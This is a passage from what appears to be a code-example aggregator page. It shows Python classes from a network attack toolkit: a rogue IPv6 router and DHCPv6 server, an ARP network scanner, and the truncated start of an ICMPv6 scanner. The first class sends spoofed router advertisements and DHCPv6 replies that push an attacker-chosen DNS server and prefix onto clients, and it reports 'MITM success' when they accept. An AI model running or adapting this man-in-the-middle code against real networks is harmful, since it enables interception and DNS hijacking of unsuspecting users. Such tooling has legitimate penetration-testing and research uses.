        # endregion

        # region Target IPv6 is not set - get first and last suffix IPv6 address
        else:
            # Check first suffix IPv6 address
            self._first_ipv6_address_suffix = \
                self._utils.check_value_in_range(value=first_ipv6_address_suffix,
                                                 first_value=1,
                                                 last_value=65535,
                                                 parameter_name='first IPv6 address suffix')

            # Check last suffix IPv6 address
            self._last_ipv6_address_suffix = \
                self._utils.check_value_in_range(value=last_ipv6_address_suffix,
                                                 first_value=self._first_ipv6_address_suffix,
                                                 last_value=65535,
                                                 parameter_name='last IPv6 address suffix')
        # endregion

        # endregion

        # region Set recursive DNS server address
        if dns_server_ipv6_address is not None:
            self._dns_server_ipv6_address = \
                self._utils.check_ipv6_address(network_interface=self._your['network-interface'],
                                               ipv6_address=dns_server_ipv6_address,
                                               is_local_ipv6_address=False,
                                               parameter_name='DNS server IPv6 address',
                                               check_your_ipv6_address=False)
        # endregion

        # region General output
        if not self._quiet:
            self._base.print_info('Network interface: ',
                                  self._your['network-interface'])
            self._base.print_info('Your MAC address: ',
                                  self._your['mac-address'])
            self._base.print_info('Your link local IPv6 address: ',
                                  self._your['ipv6-link-address'])

            if self._target['mac-address'] is not None:
                self._base.print_info('Target MAC address: ',
                                      self._target['mac-address'])
            if self._target['ipv6-address'] is not None:
                self._base.print_info('Target IPv6 address: ',
                                      self._target['ipv6-address'])
            else:
                self._base.print_info('First suffix offer IP: ',
                                      str(self._first_ipv6_address_suffix))
                self._base.print_info('Last suffix offer IP: ',
                                      str(self._last_ipv6_address_suffix))

            self._base.print_info('Prefix: ', self._ipv6_prefix)
            self._base.print_info('Router IPv6 address: ',
                                  self._your['ipv6-link-address'])
            self._base.print_info('DNS IPv6 address: ',
                                  self._dns_server_ipv6_address)
            self._base.print_info('Domain search: ', self._domain_search)
        # endregion

        # region Send ICMPv6 advertise packets in other thread
        self._thread_manager.add_task(self._send_icmpv6_advertise_packets)
        # endregion

        # region Add multicast MAC addresses on interface
        self._add_multicast_mac_addresses()
        # endregion

        # region Start Sniffer

        # region Print info message
        self._base.print_info('Waiting for a ICMPv6 or DHCPv6 requests ...')
        # endregion

        # region Set sniff filters
        sniff_filters: Dict = {
            'Ethernet': {
                'not-source': self._your['mac-address']
            },
            'UDP': {
                'destination-port': 547,
                'source-port': 546
            },
            'ICMPv6': {
                'types': [133, 135]
            }
        }
        scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address']

        if self._target['mac-address'] is not None:
            sniff_filters['Ethernet'] = {'source': self._target['mac-address']}
            scapy_lfilter: Any = lambda eth: eth.src == self._target[
                'mac-address']
        # endregion

        # region Start sniffer
        self._sniff.start(protocols=['IPv6', 'UDP', 'ICMPv6', 'DHCPv6'],
                          prn=self._reply,
                          filters=sniff_filters,
                          network_interface=self._your['network-interface'],
                          scapy_filter='icmp6 or (udp and (port 547 or 546))',
                          scapy_lfilter=scapy_lfilter)
        # endregion

        # endregion

    # endregion

    # region Add multicast MAC addresses on interface
    def _add_multicast_mac_addresses(self):
        self._base.add_multicast_mac_address(
            interface_name=self._your['network-interface'],
            multicast_mac_address='33:33:00:00:00:02',
            exit_on_failure=False,
            quiet=self._quiet)
        self._base.add_multicast_mac_address(
            interface_name=self._your['network-interface'],
            multicast_mac_address='33:33:00:01:00:02',
            exit_on_failure=False,
            quiet=self._quiet)

    # endregion

    # region Add client info in global self._clients dictionary
    def _add_client_info_in_dictionary(
            self,
            client_mac_address: str,
            client_info: Dict[str, Union[bool, str]],
            this_client_already_in_dictionary: bool = False):
        if this_client_already_in_dictionary:
            self._clients[client_mac_address].update(client_info)
        else:
            self._clients[client_mac_address] = client_info

    # endregion

    # region Send ICMPv6 solicit packets
    def _send_icmpv6_solicit_packets(self):
        try:
            while True:
                icmpv6_solicit_packet = \
                    self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'],
                                                            ipv6_src=self._your['ipv6-link-address'],
                                                            need_source_link_layer_address=True,
                                                            source_link_layer_address=self._eth.make_random_mac())
                self._raw_send.send_packet(icmpv6_solicit_packet)
                sleep(self._solicit_packets_delay)
        except KeyboardInterrupt:
            self._base.print_info('Exit')
            exit(0)

    # endregion

    # region Send DHCPv6 solicit packets
    def _send_dhcpv6_solicit_packets(self):
        try:
            while True:
                request_options = [23, 24]
                dhcpv6_solicit_packet = \
                    self._dhcpv6.make_solicit_packet(ethernet_src_mac=self._your['mac-address'],
                                                     ipv6_src=self._your['ipv6-link-address'],
                                                     transaction_id=randint(1, 16777215),
                                                     client_mac_address=self._eth.make_random_mac(),
                                                     option_request_list=request_options)
                self._raw_send.send_packet(dhcpv6_solicit_packet)
                sleep(self._solicit_packets_delay)
        except KeyboardInterrupt:
            self._base.print_info('Exit ....')
            exit(0)

    # endregion

    # region Send ICMPv6 advertise packets
    def _send_icmpv6_advertise_packets(self):
        icmpv6_ra_packet = \
            self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
                                                          ethernet_dst_mac='33:33:00:00:00:01',
                                                          ipv6_src=self._your['ipv6-link-address'],
                                                          ipv6_dst='ff02::1',
                                                          dns_address=self._dns_server_ipv6_address,
                                                          domain_search=self._domain_search,
                                                          prefix=self._ipv6_prefix,
                                                          router_lifetime=5000,
                                                          advertisement_interval=
                                                          int(self._solicit_packets_delay * 1000))
        try:
            while True:
                self._raw_send.send_packet(icmpv6_ra_packet)
                sleep(self._solicit_packets_delay)
        except KeyboardInterrupt:
            self._base.print_info('Exit')
            exit(0)

    # endregion

    # region Reply to DHCPv6 and ICMPv6 requests
    def _reply(self, packet):

        # region Get client MAC address
        client_mac_address: str = packet['Ethernet']['source']
        # endregion

        # region Check this client already in self._clients dictionary
        client_already_in_dictionary: bool = False
        if client_mac_address in self._clients.keys():
            client_already_in_dictionary = True
        # endregion

        # region Check MiTM status for this client
        self._check_mitm_status(client_mac_address=client_mac_address)
        # endregion

        # region ICMPv6
        if 'ICMPv6' in packet.keys():

            # region ICMPv6 Router Solicitation
            if packet['ICMPv6']['type'] == 133:

                # Make and send ICMPv6 router advertisement packet
                icmpv6_ra_packet = \
                    self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
                                                                  ethernet_dst_mac=packet['Ethernet']['source'],
                                                                  ipv6_src=self._your['ipv6-link-address'],
                                                                  ipv6_dst=packet['IPv6']['source-ip'],
                                                                  dns_address=self._dns_server_ipv6_address,
                                                                  domain_search=self._domain_search,
                                                                  prefix=self._ipv6_prefix,
                                                                  router_lifetime=5000)
                self._raw_send.send_packet(icmpv6_ra_packet)

                # Print info messages
                self._base.print_info(
                    'ICMPv6 Router Solicitation request from: ',
                    packet['IPv6']['source-ip'] + ' (' +
                    packet['Ethernet']['source'] + ')')
                self._base.print_info(
                    'ICMPv6 Router Advertisement reply to: ',
                    packet['IPv6']['source-ip'] + ' (' +
                    packet['Ethernet']['source'] + ')')

                # Delete this client from global self._clients dictionary
                try:
                    del self._clients[client_mac_address]
                    client_already_in_dictionary = False
                except KeyError:
                    pass

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {
                        'router solicitation': True,
                        'network prefix': self._ipv6_prefix
                    }, client_already_in_dictionary)
            # endregion

            # region ICMPv6 Neighbor Solicitation
            if packet['ICMPv6']['type'] == 135:

                # region Get ICMPv6 Neighbor Solicitation target address
                target_address: str = packet['ICMPv6']['target-address']
                na_packet: Union[None, bytes] = None
                if target_address.startswith('fe80::'):
                    if target_address == self._your['ipv6-link-address']:
                        self._add_client_info_in_dictionary(
                            client_mac_address,
                            {'neighbor solicitation your address': True},
                            client_already_in_dictionary)
                else:
                    na_packet = \
                        self._icmpv6.make_neighbor_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
                                                                        ipv6_src=self._your['ipv6-link-address'],
                                                                        target_ipv6_address=target_address)
                # endregion

                # region Neighbor Solicitation target address is DNS server IPv6 address
                if self._dns_server_ipv6_address != self._your[
                        'ipv6-link-address']:
                    if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \
                            self._dns_server_ipv6_address.startswith('fe80::'):
                        if target_address == self._dns_server_ipv6_address:
                            self._add_client_info_in_dictionary(
                                client_mac_address, {
                                    'neighbor solicitation dns server address':
                                    True
                                }, client_already_in_dictionary)
                # endregion

                # region Neighbor Solicitation target address not in your ipv6 prefix
                if not target_address.startswith(
                        self._ipv6_prefix_address) and na_packet is not None:
                    for _ in range(10):
                        self._raw_send.send_packet(na_packet)
                # endregion

                # region Neighbor Solicitation target address in your ipv6 prefix
                else:
                    self._add_client_info_in_dictionary(
                        client_mac_address,
                        {'neighbor solicitation in ipv6 prefix': True},
                        client_already_in_dictionary)
                # endregion

                # region DHCPv6 advertise address is set

                # This client already in dictionary
                if client_already_in_dictionary:

                    # Advertise address for this client is set
                    if 'advertise address' in self._clients[
                            client_mac_address].keys():

                        # ICMPv6 Neighbor Solicitation target address is DHCPv6 advertise IPv6 address
                        if target_address == self._clients[client_mac_address][
                                'advertise address']:

                            # Add client info in global self._clients dictionary
                            self._add_client_info_in_dictionary(
                                client_mac_address, {
                                    'neighbor solicitation advertise address':
                                    True
                                }, client_already_in_dictionary)

                        # ICMPv6 Neighbor Solicitation target address is not DHCPv6 advertise IPv6 address
                        elif na_packet is not None:
                            for _ in range(10):
                                self._raw_send.send_packet(na_packet)
                # endregion

            # endregion

        # endregion

        # region DHCPv6

        # Protocol DHCPv6 is enabled
        if not self._disable_dhcpv6 and 'DHCPv6' in packet.keys():

            # region Get Client identifier and Identity Association for Non-temporary Address
            cid: Union[None, bytes] = None
            iaid: Union[None, int] = None

            for option in packet['DHCPv6']['options']:
                if option['type'] == 1:
                    cid = option['value']['raw']
                elif option['type'] == 3:
                    iaid = option['value']['iaid']

            if cid is None or iaid is None:
                self._base.print_info(
                    'Malformed DHCPv6 packet from: ',
                    packet['IPv6']['source-ip'] + ' (' +
                    packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']))
                return
            # endregion

            # region DHCPv6 Solicit
            if packet['DHCPv6']['message-type'] == 1:

                # Set IPv6 address in advertise packet
                try:
                    ipv6_address = self._clients[client_mac_address][
                        'advertise address']
                except KeyError:
                    if self._target['ipv6-address'] is not None:
                        ipv6_address = self._target['ipv6-address']
                    else:
                        ipv6_address = self._ipv6_prefix_address + \
                                       format(randint(self._first_ipv6_address_suffix,
                                                      self._last_ipv6_address_suffix), 'x')

                # Make and send DHCPv6 advertise packet
                dhcpv6_advertise = \
                    self._dhcpv6.make_advertise_packet(ethernet_src_mac=self._your['mac-address'],
                                                       ethernet_dst_mac=packet['Ethernet']['source'],
                                                       ipv6_src=self._your['ipv6-link-address'],
                                                       ipv6_dst=packet['IPv6']['source-ip'],
                                                       transaction_id=packet['DHCPv6']['transaction-id'],
                                                       dns_address=self._dns_server_ipv6_address,
                                                       domain_search=self._domain_search,
                                                       ipv6_address=ipv6_address,
                                                       cid=cid, iaid=iaid, preference=255)
                self._raw_send.send_packet(dhcpv6_advertise)

                # Print info messages
                self._base.print_info(
                    'DHCPv6 Solicit from: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']))
                self._base.print_info(
                    'DHCPv6 Advertise to: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']), ' IAA: ',
                    ipv6_address)

                # Add client info in global self._clients dictionary
                self._add_client_info_in_dictionary(
                    client_mac_address, {
                        'dhcpv6 solicit': True,
                        'advertise address': ipv6_address
                    }, client_already_in_dictionary)
            # endregion

            # region DHCPv6 Request
            if packet['DHCPv6']['message-type'] == 3:

                # Set DHCPv6 reply packet
                dhcpv6_reply: Union[None, bytes] = None

                # region Get Client DUID time, IPv6 address and Server MAC address
                client_ipv6_address: Union[None, str] = None
                server_mac_address: Union[None, str] = None

                for dhcpv6_option in packet['DHCPv6']['options']:
                    if dhcpv6_option['type'] == 2:
                        server_mac_address = dhcpv6_option['value'][
                            'mac-address']
                    if dhcpv6_option['type'] == 3:
                        client_ipv6_address = dhcpv6_option['value'][
                            'ipv6-address']
                # endregion

                if server_mac_address is not None and client_ipv6_address is not None:

                    # Check Server MAC address
                    if server_mac_address != self._your['mac-address']:
                        self._add_client_info_in_dictionary(
                            client_mac_address, {
                                'dhcpv6 mitm':
                                'error: server mac address is not your mac address'
                            }, client_already_in_dictionary)
                    else:
                        self._add_client_info_in_dictionary(
                            client_mac_address, {'dhcpv6 mitm': 'success'},
                            client_already_in_dictionary)
                        try:
                            if client_ipv6_address == self._clients[
                                    client_mac_address]['advertise address']:
                                dhcpv6_reply = \
                                    self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'],
                                                                   ethernet_dst_mac=packet['Ethernet']['source'],
                                                                   ipv6_src=self._your['ipv6-link-address'],
                                                                   ipv6_dst=packet['IPv6']['source-ip'],
                                                                   transaction_id=packet['DHCPv6']['transaction-id'],
                                                                   dns_address=self._dns_server_ipv6_address,
                                                                   domain_search=self._domain_search,
                                                                   ipv6_address=client_ipv6_address,
                                                                   cid=cid)
                                self._raw_send.send_packet(dhcpv6_reply)
                            else:
                                self._add_client_info_in_dictionary(
                                    client_mac_address, {
                                        'dhcpv6 mitm':
                                        'error: client request address is not advertise address'
                                    }, client_already_in_dictionary)

                        except KeyError:
                            self._add_client_info_in_dictionary(
                                client_mac_address, {
                                    'dhcpv6 mitm':
                                    'error: not found dhcpv6 solicit request for this client'
                                }, client_already_in_dictionary)

                    # Print info messages
                    self._base.print_info(
                        'DHCPv6 Request from: ', packet['IPv6']['source-ip'] +
                        ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                        hex(packet['DHCPv6']['transaction-id']), ' Server: ',
                        server_mac_address, ' IAA: ', client_ipv6_address)

                    if dhcpv6_reply is not None:
                        self._base.print_info(
                            'DHCPv6 Reply to:     ',
                            packet['IPv6']['source-ip'] + ' (' +
                            packet['Ethernet']['source'] + ')', ' XID: ',
                            hex(packet['DHCPv6']['transaction-id']),
                            ' Server: ', server_mac_address, ' IAA: ',
                            client_ipv6_address)
                    else:
                        if self._clients[client_mac_address]['dhcpv6 mitm'] == \
                                'error: server mac address is not your mac address':
                            self._base.print_error(
                                'Server MAC address in DHCPv6 Request is not your MAC address '
                                + 'for this client: ', client_mac_address)

                        if self._clients[client_mac_address]['dhcpv6 mitm'] == \
                                'error: client request address is not advertise address':
                            self._base.print_error(
                                'Client requested IPv6 address is not advertise IPv6 address '
                                + 'for this client: ', client_mac_address)

                        if self._clients[client_mac_address]['dhcpv6 mitm'] == \
                                'error: not found dhcpv6 solicit request for this client':
                            self._base.print_error(
                                'Could not found DHCPv6 solicit request ' +
                                'for this client: ', client_mac_address)

            # endregion

            # region DHCPv6 Release
            if packet['DHCPv6']['message-type'] == 8:
                # Print info message
                self._base.print_info(
                    'DHCPv6 Release from: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']))

                # Delete this client from global self._clients dictionary
                try:
                    del self._clients[client_mac_address]
                    client_already_in_dictionary = False
                except KeyError:
                    pass
            # endregion

            # region DHCPv6 Confirm
            if packet['DHCPv6']['message-type'] == 4:

                # region Get Client IPv6 address
                client_ipv6_address: Union[None, str] = None

                for dhcpv6_option in packet['DHCPv6']['options']:
                    if dhcpv6_option['type'] == 3:
                        client_ipv6_address = dhcpv6_option['value'][
                            'ipv6-address']
                # endregion

                # region Make and send DHCPv6 Reply packet
                dhcpv6_reply = \
                    self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'],
                                                   ethernet_dst_mac=packet['Ethernet']['source'],
                                                   ipv6_src=self._your['ipv6-link-address'],
                                                   ipv6_dst=packet['IPv6']['source-ip'],
                                                   transaction_id=packet['DHCPv6']['transaction-id'],
                                                   dns_address=self._dns_server_ipv6_address,
                                                   domain_search=self._domain_search,
                                                   ipv6_address=client_ipv6_address,
                                                   cid=cid)
                self._raw_send.send_packet(dhcpv6_reply)
                # endregion

                # region Add Client info in global self._clients dictionary and print info message
                self._add_client_info_in_dictionary(
                    client_mac_address, {
                        'advertise address': client_ipv6_address,
                        'dhcpv6 mitm': 'success'
                    }, client_already_in_dictionary)

                self._base.print_info(
                    'DHCPv6 Confirm from: ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']), ' IAA: ',
                    client_ipv6_address)
                self._base.print_info(
                    'DHCPv6 Reply to:     ', packet['IPv6']['source-ip'] +
                    ' (' + packet['Ethernet']['source'] + ')', ' XID: ',
                    hex(packet['DHCPv6']['transaction-id']), ' IAA: ',
                    client_ipv6_address)
                # endregion

            # endregion

        # endregion

    # endregion

    # region Check MiTM Success
    def _check_mitm_status(self, client_mac_address: str):
        try:
            if not self._disable_dhcpv6:
                assert self._clients[client_mac_address][
                    'dhcpv6 mitm'] == 'success'
                # assert self._clients[client_mac_address]['neighbor solicitation advertise address']

            else:
                if self._dns_server_ipv6_address != self._your[
                        'ipv6-link-address']:
                    if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \
                            self._dns_server_ipv6_address.startswith('fe80::'):
                        assert self._clients[client_mac_address][
                            'neighbor solicitation dns server address']

                assert self._clients[client_mac_address][
                    'neighbor solicitation your address']
                assert self._clients[client_mac_address][
                    'neighbor solicitation in ipv6 prefix']

            assert 'success message' not in self._clients[
                client_mac_address].keys()
            self._base.print_success(
                'MITM success: ',
                self._clients[client_mac_address]['advertise address'] + ' (' +
                client_mac_address + ')')
            if self._exit_on_success:
                sleep(3)
                exit(0)
            else:
                self._clients[client_mac_address].update(
                    {'success message': True})
            return True

        except KeyError:
            return False

        except AssertionError:
            return False
Ejemplo n.º 4
0
class ArpScan:

    # region Set variables
    base: Base = Base()
    eth: RawEthernet = RawEthernet()
    arp: RawARP = RawARP()

    rawSocket: socket = socket(AF_PACKET, SOCK_RAW, htons(0x0003))

    network_interface: Union[None, str] = None
    your_mac_address: Union[None, str] = None
    your_ip_address: Union[None, str] = None
    target_ip_address: Union[None, str] = None

    results: List[Dict[str, str]] = list()
    mac_addresses: List[str] = list()
    unique_results: List[Dict[str, str]] = list()

    retry_number: int = 3
    timeout: int = 5

    quit: bool = False

    # endregion

    # region Sniffer
    def _sniff(self) -> None:
        """
        Sniff ARP replies
        :return: None
        """
        while True:
            packets = self.rawSocket.recvfrom(2048)
            for packet in packets:
                try:
                    # Parse Ethernet header
                    ethernet_header = packet[0:14]
                    ethernet_header_dict = self.eth.parse_header(
                        ethernet_header)

                    # Success parse Ethernet header
                    assert ethernet_header_dict is not None, 'Not Ethernet packet!'

                    # 2054 - Type of ARP packet (0x0806)
                    assert ethernet_header_dict[
                        'type'] == 2054, 'Not ARP packet!'

                    # Destination MAC address is your MAC address
                    assert ethernet_header_dict[
                        'destination'] == self.your_mac_address, 'Not your ARP reply packet!'

                    # Parse ARP packet
                    arp_header = packet[14:42]
                    arp_header_dict = self.arp.parse_packet(arp_header)

                    # Success parse ARP packet
                    assert arp_header_dict is not None, 'Could not parse ARP packet!'

                    # ARP opcode == 2 (2 - ARP reply)
                    assert arp_header_dict[
                        'opcode'] == 2, 'Not ARP reply packet!'

                    # ARP target MAC address is your MAC address
                    assert arp_header_dict[
                        'target-mac'] == self.your_mac_address, 'Not your ARP reply packet!'

                    # ARP target IP address is your IP address
                    assert arp_header_dict[
                        'target-ip'] == self.your_ip_address, 'Not your ARP reply packet!'

                    # Parameter Target IP address is None
                    if self.target_ip_address is None:
                        self.results.append({
                            'mac-address':
                            arp_header_dict['sender-mac'],
                            'ip-address':
                            arp_header_dict['sender-ip']
                        })

                    # Parameter Target IP address is Set
                    else:
                        if arp_header_dict[
                                'sender-ip'] == self.target_ip_address:
                            self.results.append({
                                'mac-address':
                                arp_header_dict['sender-mac'],
                                'ip-address':
                                arp_header_dict['sender-ip']
                            })

                # Exception
                except AssertionError:
                    pass

    # endregion

    # region Sender
    def _send(self) -> None:
        """
        Send ARP requests
        :return: None
        """
        arp_requests: List[bytes] = list()

        self.your_mac_address = self.base.get_interface_mac_address(
            self.network_interface)
        self.your_ip_address = self.base.get_interface_ip_address(
            self.network_interface)

        first_ip_address = self.base.get_first_ip_on_interface(
            self.network_interface)
        last_ip_address = self.base.get_last_ip_on_interface(
            self.network_interface)

        if self.target_ip_address is not None:
            if self.base.ip_address_in_range(self.target_ip_address,
                                             first_ip_address,
                                             last_ip_address):
                first_ip_address = self.target_ip_address
                last_ip_address = self.target_ip_address
            else:
                self.base.print_error(
                    'Bad target IP address: ', self.target_ip_address,
                    '; Target IP address must be in range: ',
                    first_ip_address + ' - ' + last_ip_address)
                exit(1)

        index: int = 0
        while True:
            current_ip_address: str = str(
                IPv4Address(first_ip_address) + index)
            index += 1
            if IPv4Address(current_ip_address) > IPv4Address(last_ip_address):
                break

            arp_request: bytes = self.arp.make_request(
                ethernet_src_mac=self.your_mac_address,
                ethernet_dst_mac='ff:ff:ff:ff:ff:ff',
                sender_mac=self.your_mac_address,
                sender_ip=self.your_ip_address,
                target_mac='00:00:00:00:00:00',
                target_ip=current_ip_address)
            arp_requests.append(arp_request)

        try:
            send_socket: socket = socket(AF_PACKET, SOCK_RAW)
            send_socket.bind((self.network_interface, 0))

            number_of_requests: int = len(arp_requests) * int(
                self.retry_number)
            index_of_request: int = 0
            percent_complete: int = 0

            for _ in range(int(self.retry_number)):
                for arp_request in arp_requests:
                    send_socket.send(arp_request)
                    if not self.quit:
                        index_of_request += 1
                        new_percent_complete = int(
                            float(index_of_request) /
                            float(number_of_requests) * 100)
                        if new_percent_complete > percent_complete:
                            stdout.write('\r')
                            stdout.write(
                                self.base.c_info + 'Interface: ' +
                                self.base.info_text(self.network_interface) +
                                ' ARP scan percentage: ' + self.base.info_text(
                                    str(new_percent_complete) + '%'))
                            stdout.flush()
                            sleep(0.01)
                            percent_complete = new_percent_complete
            if not self.quit:
                stdout.write('\n')
            send_socket.close()

        except error as e:
            self.base.print_error('Exception: ', str(e))
            exit(1)

    # endregion

    # region Scanner
    def scan(self,
             network_interface: str = 'eth0',
             timeout: int = 3,
             retry: int = 3,
             target_ip_address: Union[None, str] = None,
             check_vendor: bool = True,
             exclude_ip_addresses: Union[None, List[str]] = None,
             exit_on_failure: bool = True,
             show_scan_percentage: bool = True) -> List[Dict[str, str]]:
        """
        ARP scan on network interface
        :param network_interface: Network interface name (example: 'eth0')
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param target_ip_address: Target IPv4 address (example: 192.168.0.1)
        :param check_vendor: Check vendor of hosts (default: True)
        :param exclude_ip_addresses: Exclude IPv4 address list (example: ['192.168.0.1','192.168.0.2'])
        :param exit_on_failure: Exit if alive hosts in network not found (default: True)
        :param show_scan_percentage: Show ARP scan progress percentage (default: True)
        :return: Result list of alive hosts (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': '192.168.0.1'}])
        """
        try:
            # region Clear lists with scan results
            self.results.clear()
            self.unique_results.clear()
            self.mac_addresses.clear()
            # endregion

            # region Set variables
            self.quit = not show_scan_percentage
            self.target_ip_address = target_ip_address
            self.network_interface = network_interface
            self.timeout = int(timeout)
            self.retry_number = int(retry)
            # endregion

            # region Run _sniffer
            tm = ThreadManager(2)
            tm.add_task(self._sniff)
            # endregion

            # region Run sender
            self._send()
            # endregion

            # region Wait
            sleep(self.timeout)
            # endregion

            # region Unique results
            for index in range(len(self.results)):
                if self.results[index][
                        'mac-address'] not in self.mac_addresses:
                    self.unique_results.append(self.results[index])
                    self.mac_addresses.append(
                        self.results[index]['mac-address'])
            # endregion

            # region Exclude IP addresses
            if exclude_ip_addresses is not None:
                self.results = self.unique_results
                self.unique_results = list()
                for index in range(len(self.results)):
                    if self.results[index][
                            'ip-address'] not in exclude_ip_addresses:
                        self.unique_results.append(self.results[index])
                self.results = list()
            # endregion

            # region Get vendors
            if check_vendor:
                for result_index in range(len(self.unique_results)):
                    self.unique_results[result_index]['vendor'] = \
                        self.base.get_vendor_by_mac_address(self.unique_results[result_index]['mac-address'])

            # endregion

        except KeyboardInterrupt:
            self.base.print_info('Exit')
            exit(0)

        if len(self.unique_results) == 0:
            if exit_on_failure:
                self.base.print_error(
                    'Could not find allive hosts on interface: ',
                    self.network_interface)
                exit(1)

        return self.unique_results

    # endregion

    # region Get MAC address
    def get_mac_address(self,
                        network_interface: str = 'eth0',
                        target_ip_address: str = '192.168.0.1',
                        timeout: int = 5,
                        retry: int = 5,
                        exit_on_failure: bool = True,
                        show_scan_percentage: bool = True) -> str:
        """
        Get MAC address of IP address on network interface
        :param network_interface: Network interface name (example: 'eth0')
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param target_ip_address: Target IPv4 address (example: 192.168.0.1)
        :param exit_on_failure: Exit if MAC address of target IP address not found (default: True)
        :param show_scan_percentage: Show ARP scan progress percentage (default: True)
        :return: MAC address of target IP address (example: '01:23:45:67:89:0a')
        """

        # region Set result MAC address value
        result_mac_address = 'ff:ff:ff:ff:ff:ff'
        # endregion
        try:
            # region Clear lists with scan results
            self.results.clear()
            self.unique_results.clear()
            self.mac_addresses.clear()
            # endregion

            # region Set variables
            self.quit = not show_scan_percentage
            self.target_ip_address = target_ip_address
            self.network_interface = network_interface
            self.timeout = int(timeout)
            self.retry_number = int(retry)
            # endregion

            # region Run _sniffer
            tm = ThreadManager(2)
            tm.add_task(self._sniff)
            # endregion

            # region Run sender
            self._send()
            # endregion

            # region Wait
            sleep(self.timeout)
            # endregion

            # region Return
            if 'mac-address' in self.results[0].keys():
                result_mac_address = self.results[0]['mac-address']
            # endregion

        except IndexError:
            pass

        except KeyboardInterrupt:
            self.base.print_info('Exit')
            exit(0)

        if result_mac_address == 'ff:ff:ff:ff:ff:ff':
            if exit_on_failure:
                self.base.print_error(
                    'Could not find MAC address of IP address: ',
                    target_ip_address)
                exit(1)

        return result_mac_address
Ejemplo n.º 5
0
class ICMPv6Scan:

    # region Set variables
    base: Base = Base()
    eth: RawEthernet = RawEthernet()
    ipv6: RawIPv6 = RawIPv6()
    icmpv6: RawICMPv6 = RawICMPv6()

    raw_socket: socket = socket(AF_PACKET, SOCK_RAW, htons(0x0003))

    network_interface: Union[None, str] = None
    your_mac_address: Union[None, str] = None
    your_ipv6_link_address: Union[None, str] = None
    target_mac_address: str = '33:33:00:00:00:01'

    results: List[Dict[str, str]] = list()
    unique_results: List[Dict[str, str]] = list()
    mac_addresses: List[str] = list()

    retry_number: int = 3
    timeout: int = 3

    icmpv6_identifier: int = 0

    router_info: Dict[str, Union[int, str]] = dict()
    router_search: bool = False

    # endregion

    # region Sniffer
    def _sniff(self) -> None:
        """
        Sniff ICMPv6 packets
        :return: None
        """
        while True:
            packets = self.raw_socket.recvfrom(2048)
            for packet in packets:
                try:
                    # Parse Ethernet header
                    ethernet_header = packet[0:14]
                    ethernet_header_dict = self.eth.parse_header(
                        packet=ethernet_header)

                    # Parse Ethernet header
                    assert ethernet_header_dict is not None, 'Not Ethernet packet!'

                    # Source MAC address is target mac address
                    if not self.router_search:
                        if self.target_mac_address != '33:33:00:00:00:01':
                            assert ethernet_header_dict['source'] == self.target_mac_address, \
                                'Bad source MAC address!'

                    # Destination MAC address is your MAC address
                    if not self.router_search:
                        assert ethernet_header_dict['destination'] == self.your_mac_address, \
                            'Bad destination MAC address!'

                    # Check type of ethernet header
                    assert ethernet_header_dict[
                        'type'] == self.ipv6.header_type, 'Not IPv6 packet!'

                    # Parse IPv6 header
                    ipv6_header = packet[14:14 + self.ipv6.header_length]
                    ipv6_header_dict = self.ipv6.parse_header(ipv6_header)

                    # Check parse IPv6 header
                    assert ipv6_header_dict is not None, 'Could not parse IPv6 packet!'

                    # Check IPv6 next header type
                    assert ipv6_header_dict[
                        'next-header'] == self.icmpv6.packet_type, 'Not ICMPv6 packet!'

                    # Parse ICMPv6 packet
                    icmpv6_packet = packet[14 + self.ipv6.header_length:]
                    icmpv6_packet_dict = self.icmpv6.parse_packet(
                        packet=icmpv6_packet)

                    # Check parse ICMPv6 packet
                    assert icmpv6_packet_dict is not None, 'Could not parse ICMPv6 packet!'

                    if self.router_search:
                        # 134 Type of ICMPv6 Router Advertisement
                        assert icmpv6_packet_dict[
                            'type'] == 134, 'Not ICMPv6 Router Advertisement packet!'

                        # Save router information
                        self.router_info[
                            'router_mac_address'] = ethernet_header_dict[
                                'source']
                        self.router_info[
                            'router_ipv6_address'] = ipv6_header_dict[
                                'source-ip']
                        self.router_info['flags'] = hex(
                            icmpv6_packet_dict['flags'])
                        self.router_info['router-lifetime'] = int(
                            icmpv6_packet_dict['router-lifetime'])
                        self.router_info['reachable-time'] = int(
                            icmpv6_packet_dict['reachable-time'])
                        self.router_info['retrans-timer'] = int(
                            icmpv6_packet_dict['retrans-timer'])

                        for icmpv6_ra_option in icmpv6_packet_dict['options']:
                            if icmpv6_ra_option['type'] == 3:
                                self.router_info['prefix'] = str(icmpv6_ra_option['value']['prefix']) + '/' + \
                                                             str(icmpv6_ra_option['value']['prefix-length'])
                            if icmpv6_ra_option['type'] == 5:
                                self.router_info['mtu'] = int(
                                    icmpv6_ra_option['value'], 16)
                            if icmpv6_ra_option['type'] == 25:
                                self.router_info['dns-server'] = str(
                                    icmpv6_ra_option['value']['address'])

                        # Search router vendor
                        self.router_info['vendor'] = \
                            self.base.get_vendor_by_mac_address(self.router_info['router_mac_address'])

                    else:
                        # 129 Type of ICMPv6 Echo (ping) reply
                        assert icmpv6_packet_dict[
                            'type'] == 129, 'Not ICMPv6 Echo (ping) reply packet!'

